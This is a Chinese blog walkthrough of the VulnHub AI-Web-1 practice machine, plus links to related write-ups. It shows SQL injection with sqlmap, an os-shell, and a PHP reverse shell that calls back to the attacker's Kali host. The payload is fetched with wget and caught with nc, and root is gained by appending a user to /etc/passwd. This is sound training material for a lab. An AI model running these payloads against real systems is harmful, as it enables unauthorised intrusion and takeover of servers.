先上一张图:

靶机信息及地址:https://www.vulnhub.com/entry/ai-web-1,353/

下载到靶机后,在VMware里打开,kali使用arp-scan -l 扫到

在浏览器里打开,只有这样一句话:(我谷歌了一下这句话,没找到啥,,,,多此一举==)

然后开始dirsearch扫目录:

python dirsearch.py -u http://192.168.182.133/ -e *

只有这两个有用的信息

查看robots.txt文件

访问没有得到什么东西,继续扫

python dirsearch.py -u http://192.168.182.133/m3diNf0/ -e *

这里扫出info.php(先留着)

第二个,python dirsearch.py -u http://192.168.182.133/se3reTdir777 -e *

这里只扫出一个注入界面

火狐确认参数后 (     uid=123&Operation=Submit       )

sqlmap启动!

sqlmap http://192.168.182.133/se3reTdir777/index.php/login/ --data 'uid=123&Operation=Submit' --dbs

(新学会的post传参方法,再也不用bp抓包保存用 -r 来跑sqlmap了)

按部就班得的跑,得到这些数据

扫出来3个账号密码,但是似乎在嘲讽我,毕竟我也没找到后台登陆的界面。。。。。。。。

卡了我好久

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

这之后的90%是看的别人的博客完成的

使用sqlmap反弹一个shell(因为我们有info.php,里面给出了网址路径)

sqlmap http://192.168.182.133/se3reTdir777/index.php/login/ --data 'uid=123&Operation=Submit' --os-shell

这边的参数,第一个选4,PHP,然后是 n ,第二个选 2

地址在之前的info.php 中找:

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/(为什么是这个,我还要去多学学,目前没搞懂。)
 

成功后是这个样子的

与此同时,这时候在本机上准备一个php文件,写入

<?php
$sock=fsockopen("192.168.182.128",9966);
exec("/bin/sh -i <&3 >&3 2>&3");
?>

(注意:这里的ip地址192.168.182.128是你的kali的ip,端口可以随便写,不要冲突就行,其他建议照抄)

然后shift+右键,打开powershell,使用python搭建一个简易服务器,

python -m http.server 9000

这是在浏览器中输入127.0.0.1:9000就可以看到你刚刚写的文件了

学艺不精,为了搞懂这个原理写了好多个文件。

然后回到我们sqlmap写shell的那个界面,使用

wget -S http://你本机的IP地址:9000/aiweb1_1.php来下载

下载成功后是这个样子的

有时候可能会出现这种情况,多试两次就好了

然后换一个Terminal窗口,使用nc -lvp 9966监听端口

(这里的9966是,上面写的,并且通过wger下载到靶机上的,php文件里的写的端口)

然后切换回之前的terminal窗口,输入php aiweb1_7.php运行文件(实际作用是连接到你的kali的端口)

如果另一边监听没反应,多是两次,实在不行,检查php代码有没有写好,ip有没有填错。

正常情况是这个样子的,这样子就是已经连接上了

可以用id,whoami等命令查看一些信息

然后在这里, 使用python提升为交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

增加一个root权限用户

先对密码进行加密

openssl passwd -1 -salt abc 000000

再写入账号密码

echo 'abc:$1$abc$yzqAxwzjwaO0BUFj9nRwF/:0:0::/root:/bin/bash'>>/etc/passwdsu

切换用户

su abc

这样子就实现了提权

之后cat /root/flag.txt就得到了flag

先总结一下学到的,sqlmap反弹shell,以及反弹shell的原理,python在本地搭建一个简易服务器,wget下载文件,echo写入/etc/passwd文件添加新root用户再切换用户实现提权(大部分现在只是一个初步了解的阶段,还需要不断练习提升,熟悉)

再说说不会的

(1)sqlmap --os-shell时,为什么是选择/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/这个路径

(2)php文件中的代码中的这一句exec("/bin/sh -i <&3 >&3 2>&3");具体是什么意思,如何理解

(3)python -c 'import pty;pty.spawn("/bin/bash")'这玩意儿又是个啥东西

(4)echo 'abc:$1$abc$yzqAxwzjwaO0BUFj9nRwF/:0:0::/root:/bin/bash'>>/etc/passwdsu写入文件的格式,参数

AI-Web1靶机渗透的更多相关文章

  1. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

  2. 21. CTF综合靶机渗透(十四)

    靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...

  3. 18. CTF综合靶机渗透(十一)

    靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...

  4. 17. CTF综合靶机渗透(十)

    靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...

  5. hacknos-player靶机渗透

    靶机下载地址https://www.vulnhub.com/entry/hacknos-player,459/ 网络配置 该靶机可能会存在无法自动分配IP的情况,所以无法扫描到的情况下需要手动配置获取 ...

  6. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  7. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  8. DeRPnStiNK靶机渗透

    DeRPnStiNK靶机渗透 常规的信息搜集 扫到了phpmyadmin以及wordpress并在后台发现弱密码,即admin,admin 这里对wordpress进行了扫描: 扫描插件: searc ...

  9. BTRsys1~2系列靶机渗透

    BTRsys系列靶机渗透 BTRsys1 端口发现加目录扫描. 发现目录:http://192.168.114.161/login.php 尝试弱密码失败,查看源代码. <script type ...

  10. ch4inrulz: 1.0.1靶机渗透

    ch4inrulz: 1.0.1靶机渗透 扫描主机端口,还行啦四个开放的端口,8011和80端口都运行着web服务. 80端口下的robots.txt告诉我们什么都没有 在8011端口的apache服 ...

随机推荐

  1. Python:数字类型和字符串类型的内置方法

    一.数字类型内置方法 1.1 整型的内置方法 作用 描述年龄.号码.id号 定义方式 x = 10 x = int('10') x = int(10.1) x = int('10.1') # 报错 内 ...

  2. Java工作流引擎表单引擎之JS表单字段输入脚本验证

    关键字: 表单设计器, 字段验证. workflow,ccform, ccBPM. 工作流快速开发平台  工作流流设计  业务流程管理   asp.net 开源工作流bpm工作流系统  java工作流 ...

  3. adb shell常用命令

    一.文件操作相关命令 1.文件操作命令 子命令 参数 说明 cd 无 进入目录 cat [-beflnstuv] [-B bsize] [file...] 查看文件内容-n:显示行号-b:显示行号,但 ...

  4. linux 删除.svn文件

    linux删除当前目录及其子目录下的.svn文件,linux下删除全部的.svn文件 find . -name "*.svn" -type d -print -exec rm -r ...

  5. ESLint + Prettier + husky + lint-staged 规范统一前端代码风格

    写在前面: ESLint: Find and fix problems in your JavaScript code. Prettier: Prettier is an opinionated co ...

  6. centos7配置阿里yum源

    首先刚刚安装完的centos并不像Ubuntu系统那样有很多的源来可以供您使用 所以我们需要通过下载阿里云的yum源在下载epel-release.noarch扩展包就可以了 操作如下: 1.首先这是 ...

  7. 报错解决 unable to unroll loop, loop does not appear to terminate in a timely manner (994 iterations) or unrolled loop is too large, use the [unroll(n)] attribute to force an exact higher number

    在 Unity 写 Shader 的时候,在一个循环里面使用了 tex2D 函数,类似与下面这样: fixed2 center = fixed2(0.5,0.5); fixed2 uv = i.uv ...

  8. Java基础语法06-面向对象-继承

    七.继承 多个类中存在相同属性和行为时,将这些内容抽取到单独一个类中,那么多个类中无需再定义这些属性和行为,只需要和抽取出来的类构成继承关系. 继承的好处 提高代码的复用性. 提高代码的扩展性. 类与 ...

  9. 每天3分钟操作系统修炼秘籍(12):OOM和swap分区

    点我查看秘籍连载 OOM和swap分区 进程的虚拟内存空间是映射到整个物理内存空间的,所以在进程自身看来它拥有了整个物理内存,它也能使用整个物理内存,只需在使用的时候请求操作系统帮忙分配更多空间即可. ...

  10. C#版本与.NET版本对应关系以及各版本的特性

    C#版本 .NET版本 发布日期 特性 C# 1.0 .NET Framework 1.0 2002-02-13 委托.事件 C# 1.1 .NET Framework 1.1 2003-04-24 ...